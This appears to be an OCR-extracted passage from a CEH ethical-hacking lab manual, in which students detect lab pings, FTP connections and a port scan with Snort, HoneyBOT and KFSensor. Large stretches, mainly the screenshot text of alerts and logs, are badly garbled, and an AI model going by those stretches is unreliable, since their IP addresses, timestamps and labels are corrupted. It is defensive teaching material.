FIGURE 1.24: Initilizing Snort Rule Chains Window

63. After initializing interface and logged signatures, Snott starts and waits for an
attack and triggers alerts when attacks occur on the machine.
64. Ieave the Snort command prompt running.
65. Attack your own machine, and check whether Snort detects it or not.
[ = E—— 66. TLaunch your Windows Server 2016 machine (Attacker Machine).
Attack Wind 67. Open the command prompt and issue the command ping 10.10.10.12 -t
Server 2012 from the Attacker Machine.
Machine Note: 10.10.10.12 is the IP address of the Windows Server 2012. This IP address

may differ in your lab environment.

B Administrator: Command Prompt - ping 10.10

m IPs may be specified
individually, in a list, as a
CIDR block, or any
combination of the three.

FIGURE 1.25: Pinging the target machine
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m Run Snortas a

Daemon syntax:

fust flocal/bin/snort -d -h
192.168.1.0/24 \ -
fvarflog/ snortdogs -¢

fust /local/ete/ snort.conf
s=D.

m When Snort is run as
a Daemon, the daemon
ereates a PID file in the log
directory.

Module 12 - Evading IDS, Firewalls, and Honeypots

68. Switch back to Windows Server 2012 machine. Observe that Snort triggers
an alarm, as shown in the screenshot:

29-86:50:14.6650892

ffic [Priori
5 6.699685 [wx] [1
'Mllu Bad Trafficl [Priority
| :50:17.717847 <] [1
tially Bad Tlaff ic]l [Priority

12/29-86:50: 4611 [2e]
tially Ba x ic]l [Priority:
12/29-86:508: 1'? .736698  [wx] [1

lmll-; H«d i [Priorit
68 [e] [1
tially Bad Traffic]l [Priority
12/729-86:50:21.755466  [=] [1
tially Bad ll.wH [Priority
l"/2‘7 06 58 [w=] [1
[Priority

: 4
tially Bad Il.\H
12/29-06:50 .881694
tially Bad hafrn ] [Priority:
1 B6:50:26.808539 [w=] [1
ficl [Priorit
. [36¢]

12 :
tially Bad
86 :50
tially Bad
12/29-86:5
tially Bad
12/29-86:50
tially Bad
96:50

[Priority
[»x] [1
ITrafficl [Priority
0.853018  [==] [1
ficl [Priority:
868807 [»x] [1
fficl [Priority
878872 [»»] [1
ally Bad fficl] [Priority
729-06:50:33.895390 [x]
tially Bad Trafficl [Priority
29-86:50 . 9137 [s] [1
riority:
[ww] [
[Priority
86 [<] [1
cl [l"riurilg

86:508
ally Bad
/729-86:508

tially Bad Traff
[2//') 6 p:37.955908
ly Bad Tvafficl [Pr

a6 8.973250
ficl [Pr
979849
fficl [Priority

B.993999 ] [1
fficl [Priori

.B81266 [wx] [1
Ivafficl [Priority:

=3
tially Bad Ty
12/29-96:50
tially Bad

Ty
12/29-86:
tially Bad

& Administrator: C\Wmdows\systemSZ\cmd.exe snort -i1 -A console -¢ C\Snor._l__l!-

ICMP-INFO PING
CHP> 18.10.168.16
71 1CMP-INFO PING
ICHP> 10.10.10.16
71 ICMP INTO PING
{ICHP> 18.18.

71 1CMP- INHV

I‘-‘I IC i1rarlnn.

ation:

ication:

fication:
12
fication:

CMP-INFO PINC
10.10.108.16
1CMP-INFO PINC

""] ICMP-INFO PING
(ICHP> 109.18.10.16
ICMP—INFO PIN( a fication:
P> 168.10.10.1¢ > 10.18.10.12
ICMP-INFO PING fication:
CHP> 19.10.10.16 9.18.1
ICMP-INFO PING f
> 19.18.18.16
ICMP-INFO PING
CMP> 10.18.108.16 2
CMP-INF fication:
2] {ICHP> 109.10.10.16 b -18.12
fication:
12

-> 18.1
110

fication:
12

Poten

19.10.108.16

P-INFO PING

CMP> 19.10.108.16
ICMP-INFO PI

P> 18.108.108.16

71 ICMP-INFO PING

’llHP‘ 10.10.108.16

2:71 ICMP-INFO PING

{ICHMP> 19.10.18.16

1 P—INFO PING

> 18.18.18. ifp

! 0

Poten
Poten
>ation: Poten
cation: Poten
ication: Poten
tion: Poten

Poten

Poten
18.18.18.16
P—-INFO PINC a fi
19.18.18.16 -> 18. Ild 168.1
MP-INFO PING [»»] [Cl fication:
19.10.18.16 -> 18.19.16.12

tion: Poten

Poten

FIGURE 126: Snort Alerts ids Window Listing Snort Alerts
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HJ Note that to view the

snort log file, always stop
snort and then open snort
log file.

Module 12 - Evading IDS, Firewalls, and Honeypots

69. Press Ctri+C to stop Snort. Snort exits.

c\ Administrator: C\Windows\system32\cmd.exe

FragTracker
¥

ICP StreamIracke

ICP Streamlrackers 3
TCP Timeout
TCP Overlap:

Segnent

ICP Rebuil
TCP Se

UDP S

UDP Discar

Even

Internal Event
TCP Port Filter
Filtered:

SMIP Preproc
Total
Ha:

FIGURE 1.27: Exiting snort by pressing Ctrl+C

i |
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Module 12 - Evading IDS, Firewalls, and Honeypots

70. Go to the C:Snort\log\10.10.10.16 folder, and open the ICMP_ECHO.ids file
with Notepad++. You see that all the log entries are saved in the
ICMP_ECHO.ids file.

Examine Log File
Note: The folder name 10.10.10.16 might vary in your lab environment,
depending on the IP addtess of the Windows Server 2016 machine.
"CNSAGRIGG 1010 10 TOVCHIP FCHOTaE - Notepaar s TAGmumwaton  r=rerx
e 660 Sewch View (ncodmg Languspe Senings Touk Mo Rum PMuper  Window P
o HE s R IMDDc/a% 22 HAI N EIRHu LEER
Fo0m 0 |
R RN 3
2/39-06180104, 10,10,30.16 > 10,310,002 i
ROMP TTL:328 TOS: 10130108 Ipleni20 Dguleniéd
§ Fypeit Codetd IDid  Seqii ECHO
- (**] IOMP-INFO PING (**)
: 2/29-06:150:08.500672 10.10.30.16¢ > 10.30.10.02
» OfF TTL1328 TOS(10n0 10110106 Ipleni20 Donlen:ed
15 Fvpe:t Coderd IDi3  Seqid ECHO
3 (**]) ICMP-INFO PING ([**)
B P2/20+06:50:06. 584344 20.20.20.3¢ »> 10.10.10.12
1 OMF TTL:128 TOS:0x0 ID:10107 Iplen:l0 Dgmlen: 60
18 Fypeit Codei0 IDil  Seq:d ECHO
.; {**] ICMP-INFO PING [**)
2/39-06:50:07.587720 10.10.30.1¢ ~> 10.10.10.12
. POMF TTL1128 TOS:0m0 ID110108 Iplenid0 Dgmien: 60
- Fype:® Code:0 1IDi2 Seqid ECMO
.l {**] ICMP-INFO PING [**)
34 R2/39-06:50:08.5545906 10.10.10.16 ~> 10,10.10,12
3 OfF TTLi328 TOS:0m0 1D:10100 Iplenid0 Dgnlen:éd
.,' Fypeit Codeid 1013 Seqis EOMO
FIGURE 128 Saved Snont log file
71. 'This means that whenever an attacker attempts to connect of communicate
with the machine, Snort immediately triggers an alam.
72. So, you can become alert and take certain security measures to break the
communication with the attacker’s machine.
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposure.
PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
Intemnet Connection Required
O Yes No
Platform Supported
M Classroom M iLabs
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Module 12 - Evading IDS, Firewalls, and Honeypots

Detecting Malicious Network Traffic
using HoneyBOT

HoneyBOT is a medium interaction honeypot for windows. A hongypot creates a safe
environment to capture and interact with unsolicited traffic on a network. HongyBOT

5 an easy-to-use solution that is ideal for network security research or as part of an
early-warning IDS.

Lab Scenario

A honeypot makes a protected domain in which to capture and interact with
spontaneous movement on a system. HoneyBOT is a simple-to-use arrangement
perfect for system security research or as a feature of an eatly-warning IDS.

As a penetration tester, you will come across systems behind firewalls that block
you from access to the information you want. Thus, you will need to know how
to avoid the firewall rules in place and discover information about the host. This
step in a penetration testing is called Firewall Evasion Rules.

Lab Objectives

The objective of this lab is to help students learn to detect malicious traffic on a
network by using HoneyBOT.

Lab Environment

T'o complete this lab, you will need:

= A computer running Window Server 2016
= Kali Linux running in Virtual machine

= Run this tool in Windows Server 2016

®*  HoneyBOT is located at ZACEH-Tools\CEHv10 Module 12 Evading IDS,
Firewalls, and Honeypots\Honeypot Tools\HoneyBOT

®  You can download the latest version of HoneyBOT from
http://www.atomicsoftwaresolutions.com/. If you decide to download the
latest version, screenshots might differ

CEH Lab Manual Page 1015 Ethical Hacking and Countermeasures Copyright © by EC-Councll

All Rights Reserved. Reproduction is Strictly Prohibited.



Module 12 - Evading IDS, Firewalls, and Honeypots

= Follow the wizard driven installation steps

= Administrative privileges to run tools

Lab Duration

Time: 10 Minutes

Overview of Lab

Network obstructions such as firewalls can make mapping a network exceedingly

difficult. This will likewise become increasingly more difficult, as stifling casual
reconnaissance is often a key goal of implementing devices.

Lab Tasks

Launch the Kali Linux virtual machine before running this lab.

E task 1

2. Login to the Windows Server 2016 machine and navigate to Z:\CEH-
Tools\CEHv10 Module 12 Evading IDS, Firewalls, and
Honeypots\Honeypot Tools\HoneyBOT

Launch
HoneyBOT

3. Double-click HoneyBOT_018.exe to launch the HoneyBOT installer.
Follow the wizard dfiven steps to install HoneyBOT.

4. Once the installaion of HoneyBOT on Windows Server 2016 is
complete, make sure that the Launch HoneyBOT option is checked, so
that the application will launch automatically.

5. Alternatively, you can launch HoneyBOT through the Windows Start
menu apps.

6. 'The HoneyBOT configuration pop-up appears; click Yes to configure
HoneyBOT.

HoneyBOT

{0! Would you like to configure HoneyBOT now?

| Yes No I

FIGURE 2.1: HoneyBot Configuration pop-up

7. 'The HoneyBOT Options window appeats with default options checked
on the General settings tab. Leave the default settings, or modify them
accordingly.
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Module 12 - Evading IDS, Firewalls, and Honeypots

8. In this lab, we are leaving the settings to default for General tab in the
Options window.

& Options X

EmaiAIettl Exportsl Updatesl

v Enable Sound Alert
v Capture Binaries
v Automatically Rotate Log

Enter the alias name that HoneyBOT will operate under.

Server Name lpubIcOS

ok | Cancel | Apoh

FIGURE 2.2: HoneyBot Options-General

9. Click the Email Alert tab; if you want HoneyBOT to send you email
alerts, check Send Email Alerts, and fill in the respective fields.

Note: In this lab, we are not providing any details for emails alerts.
& Options X

mail Alert | Exports | Updates |

Sends a daily summary to your email address. ‘Automatically
Rotate Log' must be enabled to activate this feature.

¥ Send Email Alerts

Email Server |Enter your mail server address

Server Port | 25

Recipient Address |Enter your email address

0K Cancel Apply

FIGURE 2.3: HoneyBot Options-Eimail Alert
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Module 12 - Evading IDS, Firewalls, and Honeypots

10. On the Exports tab, in which you can export the logs recorded by
HoneyBot, choose the required option to view the repotts; then proceed
to the next step.

& Options X
General | Email Alert Updates |

Exports your log files to CSV format. ‘Automatically Rotate Log'
must be enabled to activate this feature.

Uploads your log files to the central reporting server. ‘Automatically
Rotate Log' must be enabled to activate this feature.

[~ Upload Logs to Server

Note: Log files are used to create aggregate reports of attack
trends. No information that could identify the IP address of a
HoneyBOT sensor is published in these reports.

oK Cancel Apply

FIGURE 2.4: HoneyBot Options-Exports

11. On the Updates tab, uncheck Check for Updates; click Apply, and click
OK to continue.

& Options X
Generdl EmailAIert] Expotts

HoneyBOT can check for service updates and new versions of
the application on start up. You can also click ‘Check for Update'
on the Help menu.

I (Check for Updates

s |

FIGURE 2.5: HoneyBot Options-Updates
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12. The Bindings window appears, click OK to continue.

& Bindings X

Multiple network adapters have been detected.
Please select the IP address to bind to or select
All to listen on all adapters.

Adapter Fj LI

OK

FIGURE 2.6: HoneyBot Bindings window
13. The HoneyBot main window appears, as shown in the screenshot.

14. Now, leave the HoneyBot window running on Windows Server 2016.

HoneyBOT - Log_20171107.bin S 1 L
Fio View Reports  Help

=Tl AP P

- Pads [ Tom | FemisIF [ RenwaPol [ LozdIP [ locaiPon | Foical | Sutee
B iicroixs]

J
ds. L1336 zockats

FIGURE 2.7: HoneyBot Main Window

15. Switch to the Kali Linux machine, open a command terminal window;
type ftp <IP Address of the Windows Server 2016 machine> and press

Enter.
16. You are prompted for the ftp credentials of the Windows Server 2016
machine.
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17. In this lab, the IP address of Windows Server 2016 is 10.10.10.16, which
may differ in your lab environment.

Note: If kali gives an error saying ftp command is not found, then install ftp
through “apt-get install ftp” command.
root@Kkali: ~ @ ® 0

File Edit View Search Terminal Help

“[ :~# ftp 10.160.10.16
Connected to 10.10.10.16.

220 PUBLICO8 FTP Service (Version 5.0).
Name (10.10.10.16:root): [j

FIGURE 2.8: Running ftp command in Kali Linux

18. Switch back to Windows Server 2016, and expand the Ports and
Remotes node at the left side of the HoneyBot dashboard.

19. Under Ports, you can see the port numbers from which Windows Server
2016 received the requests or attacks.

20. Under Remotes, it records the IP addresses through which it received
the requests.

21. Now, right-click any IP address or Port on the left, and click View
Details, as shown in figure, to view the complete details of the request or
attack recorded by HoneyBot.

£¥ HoneyBOT - Log 20171219.bin - n ] X

Fie View Reports Help

SEEECRRRECY

| Remcte Pot | Local IP [ LocaPet | Protocal | Bytes.

2017 &0546AM _ 1010101)

]
2

= Remote: Fiter Related Records
1010101 Reverse DNS

172204581
10100n

FIGURE 2.9: HoneyBot Captured Traffic

22. 'The Packet Log window appears, as shown in screenshot. It displays the
complete log details of the request captured by HoneyBot.

23. In the screenshot, under Connection Details, you can see the Date and
Time of the connection established, and the protocol used.
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24, Tt also shows the Source IP, Port, and Server Port, as shown below.

- 0 x
Connection Details: Packet History
Deecton Dats
4058 X o 220 PUBUICOR FTP Servce Verson S0}

FIGURE 2.10: HoneyBot Packet Log Information

25. Simultaneously, you can run the telnet command on the Kali Linux
machine and obsetve the log recorded by HoneyBot on Windows Server
2016.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity posture and exposure through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
M Classroom M iLabs
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7 Z:\CEH-
Tools\CEHv10
Module 12
Evading IDS,
Firewalls, and
Honeypots

@ You can also
download KFSensor from
http:/ / www.keyfocus.net

Module 12 - Evading IDS, Firewalls, and Honeypots

Detecting Intruders and Worms
using KFSensor Honeypot IDS

KESensor is a Windows-based hongypot IDS.
Lab Scenario

Intrusion detection plays a key role in ensuring the integrity of a system's security.
Network Intrusion Detection Systems (NIDSs) have long been the best method for
identifying assaults. KFSensor is an NIDS that is easy to install and configure. No
special hardware is required, and its efficient design enables it to run even on low-
specification Windows machines.

To become an expert Penetration Tester and Security Administrator, you must
possess sound knowledge of network IPSs and IDSs, identify network malicious
activity and log information, and stop or block malicious network activity.

Lab Objectives
The objective of this lab is for students to learn and understand IPSs and IDSs.
In this lab, you will

= Detect hackers and worms in a network

= Provide network security

Lab Environment

T'o complete this lab, you will need:

= KFSensor located at Z:\CEH-Tools\CEHv10 Module 10 Denial-of-
Service\Honeypot Tools\KFSensor

=  KFSensor installed in Windows 10

= MegaPing located at ZACEH-Tools\CEHv10 Module 12 Evading IDS,
Firewalls, and Honeypots\Honeypot Tools\MegaPing

" MegaPing installed in Windows Server 2016
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Module 12 - Evading IDS, Firewalls, and Honeypots

= If you have decided to download the latest of version of these tools, then
screen shots might differ

=  Administrative privileges to configure settings and run tools

Lab Duration
Time: 10 Minutes

Overview of the Lab

KFSensor contains a powerful internet daemon service that is built to handle multiple
ports and IP addresses. It is written to tesist denial of setvice and buffer overflow
attacks.

Building on this flexibility KFSensor can respond to connections in a vatiety of ways,
from simple port listening and basic services (such as echo), to complex simulations
of standard system services. For the HT'TP protocol KFSensor accurately simulates
the way Microsoft’s web server (IIS) responds to both valid and invalid requests. As
well as being able to host a website it also handles complexities such as range requests
and client side cache negotiations. This makes it extremely difficult for an attacker to
fingerprint, or identify KFSensor as a honeypot.

Lab Tasks

Note: Ensure that WinPcap is installed before running this lab.

1. In Windows 10 virtual machine, navigate to Z:\CEH-Tools\CEHv10
Module 10 Denial-of-Service\Honeypot Tools\KFSensor and double-
click kfsens40.msi.

Hrask 1
Configure
KFSensor

If a User Account Control pop-up appeats, click Yes.

The KFSensor Evaluation Setup window appears; follow the wizard-
driven installation steps to install the application.

‘gj KFSensor Evaluation Setup

Welcome to the KFSensor Evaluation
Setup Wizard

The Setup Wizard wil nstall KFSensor Evaluation on your
computer. Cick Next to continue or Cancel to exit the Setup
Wizard.

o =

FIGURE 3.1: KFSensor setup Window
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4. Completed the KFSensor Evaluation Setup wizard appears, uncheck
Launch KFSensor option and click Finish.

9 KFSensor Evaluation Setup - X 1
Completed the KFSensor Evaluation
Setup Wizard
Click the Finish button to exit the Setup Wizard,
[CJLaunch kFSensor
Dac A e |
d

FIGURE 3.2: KFSensor Evaluation Setup window

5. Launch KFSensor as Administrator, navigate to Start > KFSensor and
right-click on KFSensor => More = Run as administrator as shown in
the screenshot.

Life &t  glance

See all your mail in one place
Tuesday

m To setup common 7 And more.
ports KEFSensor has a set of
pre-defined listen

definitions. They are:

= Windows Workstation 3 e w O

Windows Server cae Microsoft Edge  Photos Cortana

Cloudy

Windows Internet

Services . . 60° LA F'I: m

Windows Applications

A Pin to Start Compe. OneNate Micrasoft Store

Linux (services not FPEs
usually in Windows)

Unirstal
* Trojans and worms

Solitaire Collectio

2 Type here to search

FIGURE 3.3: Running KFSensor as Administrator
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6. If the User Account Control pop-up appears, click Yes.

Brask 2 7. When the application is being launched for the first time, the KFSensor
= Set Up Wizard appeatrs; click Cancel button.
Configure
KFSensor Set Up Wizard X

The KFSensor Set Up Wizard will take you through
a number of steps to configure you system.

All of these can configurations can be modified later
using the menu options.

You might like to read the manual at this point to leamn
how KFSensor works and the concepts behind it.

Getting Started |

For help on the options in the Set Up Wizard.
| WizardHelp |

< Back

Neut}

FIGURE 3.4: KFSensor Set Up Wizard window

8. In the KFSensor application window, click Settings from the menu-bar
and dlick Set Up Wizard... as shown in the screenshot:

E KFSensor Professional - Evaluation Trial = [s] X
[ile View Scenario  Signatures Help ) ) )
4 8 2@ R 3t DOSAmackSettings.. LE MR
Network Protocol Analyzer... wation Pro.. Sens. Name Visitor

2a TCPD TR AR Server Settings... 0.000 UDP 138 NBT Datagram... WIN-25QPFK
.0 Clase i — 96136 TCP 1665 TCP Connection fonts.googlea
@ 1 portone ail Alerts...
21 FTP SysLog Alerts 0.000 UDP 67 DHCP
; e 0859 WIN 3389 Logon
8 2, SM1P Event Log Alerts
3 5 NS 9 0000 TCP 1433 SQL Server e goodshe
5 £ DHCP External Alerts... 000 upp 138 NBT Datagram... www.goodshi
-LSM Local Serisor Configuration... Q000 uDP 138 NBT Datagram... WIN-KI7RNH:
s 110 POP3 0000 uDP 138 NBT Datagram... DESKTOP-A)8
B 13 NNTP Log Path... 0000 UDP 138 NOT Datagram.. WINDOWSS
B R S ST Log Database... Q125 TCP 1433 SQL Server wani.goodshy
E 139 NBT Session .. = Q0016 TCP 1433 SQL Server whiv.goodshi
4 3% nap o Ciiomae 0062 TCP 1433 SOL Server WIN-KI7RNH
K 2 Change Event Colors...
Name Value

FIGURE 3.5 Launching KFSensor Set Up Wizard...
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Module 12 - Evading IDS, Firewalls, and Honeypots

9. The KFSensor Set Up Wizard window appears; click Next button.
[Set Up Wizard X

The KFSensor Set Up Wizard will take you through
a number of steps to configure you system.
Al of these can configurations can be modfied later

using the menu options.

You might like to read the manual at this point to leam
how KFSensor works and the concepts behind it.
For help on the options in the Set Up Wizard.

o | Coed |

FIGURE 3.6: KFSensor Set Up Wizard window

10. In the Set Up Wizard - Port Classes window, check all the port classes
to include, and click Next.

Set Up Wizard - Port Classes X

Port classes to include:

[Trojans and womms

[ Linux (services not usually in Windows)
[MWindows Intemet Services
[AWindows Server

Windows Workstation

[ Windows Applications

KFSensor can detect intrusions on many many different ports
and simulate different types of services.

These ports are grouped by class.

Checked classes will be added to the scenario.

Unchecked classes will be removed the scenario.

| Wizard Help |

<Back [ Ned> | | Cancel

FIGURE 3.7: Port Classes Wizard
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11. Uncheck all the ports with all active native services to include, and click
Next,

Et Up Wizard - Native Services ¢

Ports with active native services

[CJTCP 80-1iS i
[C]TCP 135-MS RPC

[]TCP 445-NBT SMB

[C]TCP 5357 - Web Services for Devices

[JUDP 3702 - WS-Discovery

These ports are cumently running native services.

KFSensor can monitor the activity of these existing services, choose this by
checking the port. This is the recomended option for sensors located within
an organization's network .

To allow KFSensor to monitor a port directly then uncheck

the port. This is the recomended option for a sensor exposed

directly to the intemet via a public |P address. ] .
Wizard Help |

| <Back [ Net> ) Cancel |

FIGURE 3.8: Native Services Wizard
12. In the Set Up Wizard - Domain window, leave the Domain Name field
set to default, and click Next.

fet Up Wizard - Domain X

Domain Name: |
This is the domain name used to identify the serverto a visitor.

This could be the real domain name of the machine or a fictious one.
If you pick a fictious one, try not to use a real domain belonging
somebody else.

o (] [ o

FIGURE 3.9: Domain wizard
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ﬂ! The Viitors View is
displayed on the left panel
of the main window. Tt
comprises of a tree
structure that disphys the
name and status of the
KFSensor Server and the
visitors who have
connected to the server.

=7 The top level item is
the server. The IP address
of the KI'Sensor Server
and the name of the
currently active Scenario
are displayed. The server
icon indicates the state of
the server:

Module 12 - Evading IDS, Firewalls, and Honeypots

13. In the Set Up Wizard - EMail Alerts window, leave the options set to

default, and click Next.

Eet Up Wizard - EMail Alerts X

Sendto:
Send from; I

I you want KFSensor to send alerts by emad then fil
In the email address detals

s D) o

FIGURE 3.10: EMail Alerts Wizard

14. In the Set Up Wizard - Options wizard:

a. Select Cautious from Denial Of Service Options drop-down list

b. Select Enable packet dump files from the Network Protocol

Analyzer drop-down list
15. Click Next.

16. This sets the DoS options to Cautious mode and saves the packet dump

files at the time of the DoS attack.

Set Up Wizard - Options

Denial Of Service Options
[Cautious v
Controls how many events are recorded before the server locks up
Port
3 Hours |
How long a port should indicate activity after after an event
Proxy Emulation
| Allow banner grabs and loop backs v|
Controls f KFSensor is allowed to make limited extemal connections
Network Protocol Analyzer
|Enable packet dump files <

Dump files are useful for detaded analysis but take up a lot of disk space

Wizard Help

| <Back | Net> | | Cancel

X

FIGURE 3.11: Options Wizard
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17. In the Set Up Wizard - Systems Service wizard, leave the option set to
default, and click Next.

Set Up Wizard - Systems Service X
m ‘The KFSensor
Monitor is a module that service
provides the user interface B T
to the KFSensor system. A systems service is a special type of application that Windows runs in the
With it you can configure background and is similar in concept to a UNIX daemon.
the K¥Sensoe Serperand The KFSensor Server becomes independent of the logged on user, so you can
;’:’;;’:;"]‘““"‘“'}'“" log off and another person can log on without affecting the server.

The KFSensor Server can be configured to start automatically when the systems
starts, even before you log on.
You must be logged in a the Administrator to install a systems service.

m KFSensor can send {__ zard Help }
alerts by email. The settings
in the wizard are the
minimum needed to enabk
this feature.

coosc [T ] [ o

FIGURE 3.12: Systems Service Wizard

18. In the final step of the Set Up wizard, click Finish.

|Set Up Wizard - Finish X

(7=7 "Ihe Set up Wizard is
used to perform the initial
configuration of KFSensor. The KFSensor Set Up Wizard has now got all the

information &t needs to configure your system.

To read up on where to go from here click the button below

| Getting Started |
Note on the Evaluation Version

We hope that you find the KFSensor evaluation trial period
sufficient to evaluate KFSensor. i you would like to have an
extended trial period, or have questions related to the product
"7 A systems serviceis a then get in touch with use at http://www keyfocus net/contact/.
special type of application
that Windows runs in the
background and is similir
in concept to a UNIX
daemon.

" <Back [ Fnsh )| Cancel

FIGURE 3.13: End of Wizard
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19. If you want to send KFSensor alerts by email, specify email address details,

m ‘The KFSensor Server : t

becomes independent of and click Next.

the logged on user, so the ;

ooz 20. Select options for Denial of Service, Port activity, Proxy Emulation, and
another person can log on Network Protocol Analyzer, and click Next.

without affecting the

server. 21. The KFSensor main window appears. It displays the list of ID protocols,

Visitor, and Received automatically when it starts. In the window (shown
below), all the nodes in the Ieft block crossed with blue lines are the ports
currently in use.

C KFSensor Professional - Evaluation Trial = ] X
yFiIe View Scenario Signatures Settings Help ;
J R Q|33 YEZEEEH VR Sar2E MR
=14 kfsensor - localhost - M. A | |p Start Duration Pro.. Sens.. Name Vis
7@ TP s B2029  11/7/2017 43537 AM.... 0000 UDP 138 NBT Datagram... SEf
| ? c'°r:°d CPPots | ®lo08  11/7/201740534AM... 0000 UDP 138 NBT Datagram... Wi
gZ,P:TP""' B2027  11/7/201740402AM... 0000 UDP 138 NBT Datagram.. R
s 25 SMTP 32025 11/7/2017 3:52:37 AM..., 0.000 UDP 138 NBT Datagram..,
3 53 DNS 32025 11/7/2017 3:58:59 AM..., 0000 UDP 138 NBT Datagram... Dl
£ 68 DHCP
8o IS
8 110 POP3
&3 119 NNTP
S 135 MSRPC
{B) 139 NBT Session ...
& 30 1DAP b
<
Name Value A
Sensor kfsensor
Last status 117772017 4:36
Status Active
Running since  11/7/2017 3:58
Last restert 11/7/2017 434
Runnina for 37 minutes ¥
< <

m 7 SR FIGURE 3.14: KFSensor Main Window
I'he Ports View is

displayed on the lcft pancl 22. Taunch the Command Prompt as an administrator from the Apps list.
of the main window. It
comprisce ofa vine 23, At the command prompt, type netstat -an

structure that displiys the
name and status of the
KFSensor Server and the
ports on which it is
listening.
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24, 'This will display a list of listening ports.

B3 Administrator: Command Prompt

LL] Each visitor detected
by the KFSensor Server is
listed. The visitor's 1P
address and domain name
are displayed.

FIGURE 3.15: Command Prompt with netstat -an

25. Leave the KF Sensor tool running.

26. Follow the wizard driven installation steps to install MegaPing on Windows

Hrask 2
Server 2016.
Configure

MegaPing 27. Click on MegaPing in the Start menu apps, and click I Agree.

Windows Server

B
" ; >
A L ==

. Magneto Software " Wodoo
PowerShell Powershell 15E
& 7 MegaPing

. Megaping Heip

m ‘The protocol level of
KFESensor is used to group
the ports based on their
protocol; cither T'CP or

. Readme Windows

Admirestrstiv..

3

Remote

Event Viewer

UDP.

Paterva

G5 Promary
o € m o

FIGURE 3.16: Launching MegaPing applicaton
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28. The About MegaPing pop-up appears; click | Agree to continue.

About MegaPing

MEGAPING

MegaPing 4.9  Copyright® Maaneto Software 2017

IF=7 The Porss View can
be displayed by selecting
the Ports option from the
View menu.

FIGURE 3.17: About MegaPing pop-up

29. The main MegaPing window opens, as shown in the screenshot:

rx MegaPing (Unregistered) = m] X
File View Tools Help
Birgaans a0z tsvey 80
; k]
% DNSLookupName | g NS \EtHests
= g Finger
&) Network Time 2., DNS List Hosts &2, DNS List Hosts Settings
g8 Ping
.‘. Traceroute Destination .
& Whols <None> Records Type. A v Sant
m The Visitors View -2} Network Resources Domains
can be displayed by g Process Info
selecting the Visitors {~48 System info Doidin
option from the View & 1P Scanner S M
menu, g NetBIOS Scanner 26d
3¢ Share Scanner
@ Security Scanner Celete
o Port Scanner
-2 Hest Monitor Resuts
O T
Fepart

FIGURE 3.18: MegaPing main window
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30. Select Port Scanner in the left pane.

Hrask 3
Perform Port 31. Enter the IP address in the Destination Address List of the Windows 10 (in
Scanning this lab,10.10.10.10) machine on which KFSensor is running, and click Add.
'8 MegaPing (Unregistered) - u] X
File View Tools Help
A8 :S 22 (D XdY B0
5 ,s, DNS List Hosts
2 DNS Lookup Name (g RotsScenet
4 Finger
A —T
-8 Ping
|gg Traceroute Destination:
|5 Whols 1010.10.10 Scan Type [ aa
'3 Network Resources Destination Address List
R Process Info [101010 10
i QSystemlnio -
-~ IP Scanner e Select Alf
3 g NetBIOS Scanner m
42 Share Scanner —
) Security Scanner Delete
3 = Host Monitor Resuts
Potts ¢ Twe HKeyword Description Risk
Sapat
FIGURE 3.19: Adding hosts in MegaPing
32. Check the IP addtess, and click on Start button to start listening to the traffic
on 10.10.10.10.
Note: This IP address may vary in your lab environment.
&R MegaPing (Unregistered) = a X
File View Tools Help
A08B&4Y 2D ILE ¥R 20
3. DNS List Hosts
“ 2, DNS Lookup Name “—? EafSearo
& Finger
{8 Network Time o Pot Scanner @ Port Scanner Settings
ﬁ Ping
Traceroute Destination
g Wt 10101010 ScanType: | Ashorized Pats 3
23 Network o Address List
EL Visitor is obtained by g Process Info 10.10.10.10 |
areverse DNS lookup on System Info Hor |
the visitor's IP address. An & IP Scanner -3 | Clselect
icon is displayed indicating &) NetBIOS Scanner Add
the last time the visitor 3 Share Scanner
connected 1o the server: @ Security Scanner | | Delete
o5 Port Scanner
& Host Monitor
FIGURE 3.20: Beginning the Scan on 10.10.10.10
33, The image below shows the identification of Telnet on port 23.
34. MegaPing begins to scan for open ports and displays a list of ports.
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35. You can observe Telnet on port 23, which allows hackers to connect to

remote machine through Telnet.
38 MegaPing (Unregistered) - o X
File View Tools Help |
LE8R&HRY I 1GNP Y 8@
2. DNS List Hosts
L=
i & DNS Lookup Name ,5 o Senome
M Finger
i 3 Network Time ~F Port Scanner 2 Pott Scanner Settings
g Ping
g Traceroute Destination
("7 The Visitors View is &5 Winols o m STk ey
Snked 1:the Bvents View {~E3 Network Resources Destination Address List
il actiasia Bl dE @ Process Info [10707010 ]
s 1B System Info
you select a visitor then @ P Sconner Hoat | [Dsslect At
only those events related 1o o F@ 0101010
that visitor will be displayed ; g :ﬁ"';s“""“ A
in the Events View. : e
L@ Security Scanner Ddlete
i Port Scanner
i@ Host Monitor
Type Keywod  Description Rsk
TCP fp File Transfer [Contr... Elevated »
TCP _ssh Remote Login Prot.
TCP smtp Simple Mail Transfer
Ya TCP nameser... Host Name Server low V¥ Fegot
RecSaone

("7 The events are sorted
in either ascending or
descending chronological
order. This is controlled by
options on the View Menu.

FIGURE 321: MegaPing: Telnet port data

36. The image below shows the identification of Socks on port 1080, which
allows intruders to connect to the machine through a firewall.

8 MegaPing (Unregistered) - u] x
File View Tools Help
2208884 30210 VPY 80
2 DNS List Hosts & PostSoarnar
-2 DNSLookup Name | = eane
4B Finger %
{3 Network Time o Poa Scamner @ Pott Scanner Settings
3 Ping
g Traceroute Destnation:
&5 Whols 10.10.10.10 Scan Type Authorized Ports o | Set
Q Network Resources Destnation Address List
rocess Info 10.10.10.
P f 0.10.10.10
8 system Info
-4 IP Scanner Hot [ Select Al
-} NetBIOS Scanner E&wi01010 %
QF Share Scanner -
@ Security Scanner Delste
- Port Scanner
48 Host Monitor Rosuks
Ports. Type Keyword Descripton Rik.
5 aas TCP  microsof... Microsoft-DS low A
636 TCP Idaps LDAP over SSL Low
¥ 1098 TCP rmiactiv.. RMI Regstry Elevated
V433 TCP ms-sql-s  Microsoft-SQL-Ser... Low ¥ Repot
FIGURE 322 MegaPing: Bhckjack virus

37. Now, switch back to the Windows 10 virtual machine. Obsetve that

KFSensor has detected that port 23 is open on this machine.
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Hrask a

Analyze the
Result

(7=7 "Ihe events that are
displayed are filtered by the
currently selected item in
the Ports View or the
Visitors View.

